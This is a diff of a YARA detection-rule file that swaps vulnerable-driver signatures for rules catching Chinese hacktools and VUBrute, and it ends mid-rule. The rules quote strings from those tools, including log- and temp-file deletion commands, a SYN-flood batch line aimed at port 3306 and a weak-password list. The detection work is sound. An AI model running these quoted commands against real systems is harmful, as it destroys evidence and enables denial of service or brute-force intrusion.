+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100370020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310037 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003800200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s0 = "123456.com" fullword ascii
+		$s1 = "123123.com" fullword ascii
+		$s2 = "360.com" fullword ascii
+		$s3 = "123.com" fullword ascii
+		$s4 = "juso.com" fullword ascii
+		$s5 = "sina.com" fullword ascii
+		$s7 = "changeme" fullword ascii
+		$s8 = "master" fullword ascii
+		$s9 = "google.com" fullword ascii
+		$s10 = "chinanet" fullword ascii
+		$s12 = "lionking" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Toshibacorporation_Nchgbiosxsys_Toshibabiospackage_3143 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Johor_Posts_Killer
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NCHGBIOS2x64.SYS"
-		author = "Florian Roth"
-		id = "c0a7d14e-65aa-51e1-a2c1-88a7c56dce57"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file JoHor_Posts_Killer.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "68bba78e-f3a0-5eaa-9c63-e5f23a76b328"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6379-L6399"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "314384b40626800b1cde6fbc51ebc7d13e91398be2688c2a58354aa08d00b073"
-		logic_hash = "ce2da14c74299d4ad3ab5b882de8bfe810444f21711f2417291bd0298a480e71"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1300-L1321"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d157f9a76f9d72dba020887d7b861a05f2e56b6a"
+		logic_hash = "2fc63cd42619a2b92ab8670b14ab4c01eb3b194cd337d329ba224b7088d26318"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00420049004f00530020005500700064006100740065002000440072006900760065007200200046006f0072002000570069006e0064006f007700730020007800360034002000450064006900740069006f006e }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004f0053004800490042004100200043006f00720070006f0072006100740069006f006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0032002e0034002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0032002e0034002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00430048004700420049004f00530032007800360034002e005300590053 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0054004f00530048004900420041002000420049004f00530020005000610063006b006100670065 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00430048004700420049004f00530032007800360034002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200031003900390039002d003200300031003200200054004f0053004800490042004100200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s0 = "Multithreading Posts_Send Killer" fullword ascii
+		$s3 = "GET [Access Point] HTTP/1.1" fullword ascii
+		$s6 = "The program's need files was not exist!" fullword ascii
+		$s7 = "JoHor_Posts_Killer" fullword wide
+		$s8 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
+		$s10 = "  ( /s ) :" fullword ascii
+		$s11 = "forms.vbp" fullword ascii
+		$s12 = "forms.vcp" fullword ascii
+		$s13 = "Software\\FlySky\\E\\Install" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		5 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Zemanaltd_Zam_5439 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Panda_Tesksd
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
-		author = "Florian Roth"
-		id = "f35db7b6-8a4b-5c26-9e00-da5c1c7780e8"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file tesksd.jpg"
+		author = "Florian Roth (Nextron Systems)"
+		id = "399ff307-c2e8-57bb-b792-a2c599e8686e"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6402-L6420"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "543991ca8d1c65113dff039b85ae3f9a87f503daec30f46929fd454bc57e5a91"
-		hash = "ab2632a4d93a7f3b7598c06a9fdc773a1b1b69a7dd926bdb7cf578992628e9dd"
-		logic_hash = "d43a364d3f39951140fa3b3395f1d74c306558a6c6946f665873e72377345949"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1323-L1338"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "922147b3e1e6cf1f5dd5f64a4e34d28bdc9128cb"
+		logic_hash = "dc81acef0ad3e6307f68ee755e5b27f2dcf1e2822e560a72dc5ae572703f4459"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320031002e00360033 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "name=\"Microsoft.Windows.Common-Controls\" " fullword ascii
+		$s1 = "ExeMiniDownload.exe" fullword wide
+		$s16 = "POST %Hs" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_30AB : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Http : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
-		author = "Florian Roth"
-		id = "cd4dd891-8d86-5afa-83ed-1ad0997608de"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file Http.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bbff6ff6-8cef-5a83-afd3-34f306e8e715"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6423-L6443"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "30abc0cc700fdebc74e62d574addc08f6227f9c7177d9eaa8cbc37d5c017c9bb"
-		logic_hash = "7e1f69495559ca298a05ef6fb3817799b09d66013bae574ec585d27ef89b4dcc"
-		score = 40
-		quality = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1340-L1356"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "788bf0fdb2f15e0c628da7056b4e7b1a66340338"
+		logic_hash = "690b41bdf856e0d4d90b4a42524134302e9649018fdd495c359582aa6121a017"
+		score = 60
+		quality = 83
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00330030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00330030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300038 }
+		$s0 = "RPCRT4.DLL" fullword ascii
+		$s1 = "WNetAddConnection2A" fullword ascii
+		$s2 = "NdrPointerBufferSize" fullword ascii
+		$s3 = "_controlfp" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them and filesize <10KB
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Zemanaltd_Zam_DE8F : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Burst_Start
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
-		author = "Florian Roth"
-		id = "245da08c-d629-53cb-83fb-476f4fdd1512"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6446-L6463"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "de8f8006d8ee429b5f333503defa54b25447f4ed6aeade5e4219e23f3473ef1c"
-		logic_hash = "0cb5b26dd0cd26c77df642ea6bfffdcede293cdb1ecc15430241ab538f835162"
-		score = 40
+		description = "Disclosed hacktool set - file Start.bat - DoS tool"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1291fbc5-fbb3-5425-bb9a-e45f4d7cf562"
+		date = "2014-11-17"
+		modified = "2023-01-27"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1358-L1380"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "75d194d53ccc37a68286d246f2a84af6b070e30c"
+		logic_hash = "b435957150da7b790809d2cf90a01c967127c183ddcbf333beda1a7c599b69a5"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320030002e003100300034 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "for /f \"eol= tokens=1,2 delims= \" %%i in (ip.txt) do (" ascii
+		$s1 = "Blast.bat /r 600" fullword ascii
+		$s2 = "Blast.bat /l Blast.bat" fullword ascii
+		$s3 = "Blast.bat /c 600" fullword ascii
+		$s4 = "start Clear.bat" fullword ascii
+		$s5 = "del Result.txt" fullword ascii
+		$s6 = "s syn %%i %%j 3306 /save" fullword ascii
+		$s7 = "start Thecard.bat" fullword ascii
+		$s10 = "setlocal enabledelayedexpansion" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		5 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Supermicrocomputerinc_Phymem_Phymem_1963 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Panda_Tasksvr
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - phymem64.sys"
-		author = "Florian Roth"
-		id = "19673477-eb54-52d7-886e-ebf3216aa77b"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file tasksvr.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5c85b382-551a-5e9e-9af8-d106cbe26f74"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6466-L6486"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1963d5a0e512b72353953aadbe694f73a9a576f0241a988378fa40bf574eda52"
-		logic_hash = "8f4cdca4c4bc91f216ee3d89093d482d6e56623a159c3eae6debc388cb9d108f"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1382-L1397"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a73fc74086c8bb583b1e3dcfd326e7a383007dc0"
+		logic_hash = "183708e525ec6676662b59a2a3c79f5113a80f2d5b3bd4713c74a536fe303b2d"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]007000680079006d0065006d0020004100700070006c00690063006100740069006f006e }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007000680079006d0065006d }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]007000680079006d0065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007000680079006d0065006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280063002900200031003900390033002d00320030003100350020005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e }
+		$s2 = "Consys21.dll" fullword ascii
+		$s4 = "360EntCall.exe" fullword wide
+		$s15 = "Beijing1" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_16A2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Burst_Clear
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
-		author = "Florian Roth"
-		id = "826ee893-06af-5dee-9436-ec3ea7ddd8d9"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file Clear.bat"
+		author = "Florian Roth (Nextron Systems)"
+		id = "21f33a36-779e-5eac-819c-ef79f291b43c"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6489-L6510"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "16a2e578bc8683f17a175480fea4f53c838cfae965f1d4caa47eaf9e0b3415c1"
-		hash = "98a123b314cba2de65f899cdbfa386532f178333389e0f0fbd544aff85be02eb"
-		logic_hash = "ee91ed74d1577bc881a029a6790de6d41e0b9494bfeeceec4511b3d8b7c5cff2"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1398-L1419"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "148c574a4e6e661aeadaf3a4c9eafa92a00b68e4"
+		logic_hash = "d10ed2c6ea3f1a8b289529cc90f50f84288003576aced903f48db3c2abc4722d"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340032 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 }
+		$s0 = "del /f /s /q %systemdrive%\\*.log    " fullword ascii
+		$s1 = "del /f /s /q %windir%\\*.bak    " fullword ascii
+		$s4 = "del /f /s /q %systemdrive%\\*.chk    " fullword ascii
+		$s5 = "del /f /s /q %systemdrive%\\*.tmp    " fullword ascii
+		$s8 = "del /f /q %userprofile%\\COOKIES s\\*.*    " fullword ascii
+		$s9 = "rd /s /q %windir%\\temp & md %windir%\\temp    " fullword ascii
+		$s11 = "del /f /s /q %systemdrive%\\recycled\\*.*    " fullword ascii
+		$s12 = "del /f /s /q \"%userprofile%\\Local Settings\\Temp\\*.*\"    " fullword ascii
+		$s19 = "del /f /s /q \"%userprofile%\\Local Settings\\Temporary Internet Files\\*.*\"   " ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		5 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublic_CFB7 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Burst_Thecard
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
-		author = "Florian Roth"
-		id = "e80a43d2-d96f-5fed-a5e1-3e1ea617542a"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file Thecard.bat"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a9946aeb-2042-522f-8d91-f8b96341bb64"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6513-L6533"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cfb7af8ac67a379e7869289aeee21837c448ea6f8ab6c93988e7aa423653bd40"
-		logic_hash = "8611a572b8366722e237d622b3701072f564f13a73dd71899dbde6faeab73ef8"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1421-L1438"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "50b01ea0bfa5ded855b19b024d39a3d632bacb4c"
+		logic_hash = "29e1fb2e0bfa60e5406f9fd1c0ec99f0fc1b416ffc4d59846627e40959a32c63"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0030002e003100310039003200330030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0030002e003100310039003200330030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100390020005000750062006c00690063 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100390020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e }
+		$s0 = "tasklist |find \"Clear.bat\"||start Clear.bat" fullword ascii
+		$s1 = "Http://www.coffeewl.com" fullword ascii
+		$s2 = "ping -n 2 localhost 1>nul 2>nul" fullword ascii
+		$s3 = "for /L %%a in (" ascii
+		$s4 = "MODE con: COLS=42 lines=5" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_C894 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Burst_Blast
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
-		author = "Florian Roth"
-		id = "b4cef531-b146-5c20-b429-a90beaad5712"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file Blast.bat"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9ac723c4-e88d-5fb3-b18f-c8b764c8acf3"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6536-L6556"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c8940e2e9b069ec94f9f711150b313b437f8429f78d522810601b6ee8b52bada"
-		logic_hash = "4f0a6ffa08a2c219e47c6ae13f6cc6914fe7d0dccb0273bf0905dd9a71eb439f"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1440-L1454"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b07702a381fa2eaee40b96ae2443918209674051"
+		logic_hash = "77902c7b23bab80d035f1dbe074554f16f99b2c9e31c80171296a1d33f705dac"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0034002e007200340037003900370038 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0034002e007200340037003900370038 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
+		$s0 = "@sql.exe -f ip.txt -m syn -t 3306 -c 5000 -u http:" ascii
+		$s1 = "@echo off" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Pinduoduoltdcorp_Vboxdrv_Pinduoduosecurevdi_9DAB : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Vubrute_Vubrute
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
-		author = "Florian Roth"
-		id = "44e2c561-b9f4-5840-9e0c-53ffee5a3bd1"
-		date = "2023-06-14"
+		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file VUBrute.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7ac74c85-465c-5eb5-8e91-004f28cabb75"
+		date = "2014-11-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6559-L6579"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9dab4b6fddc8e1ec0a186aa8382b184a5d52cfcabaaf04ff9e3767021eb09cf4"
-		logic_hash = "894060011b20c84849499127305d8f1d45621c5893f74d59c9278067a329a4d2"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
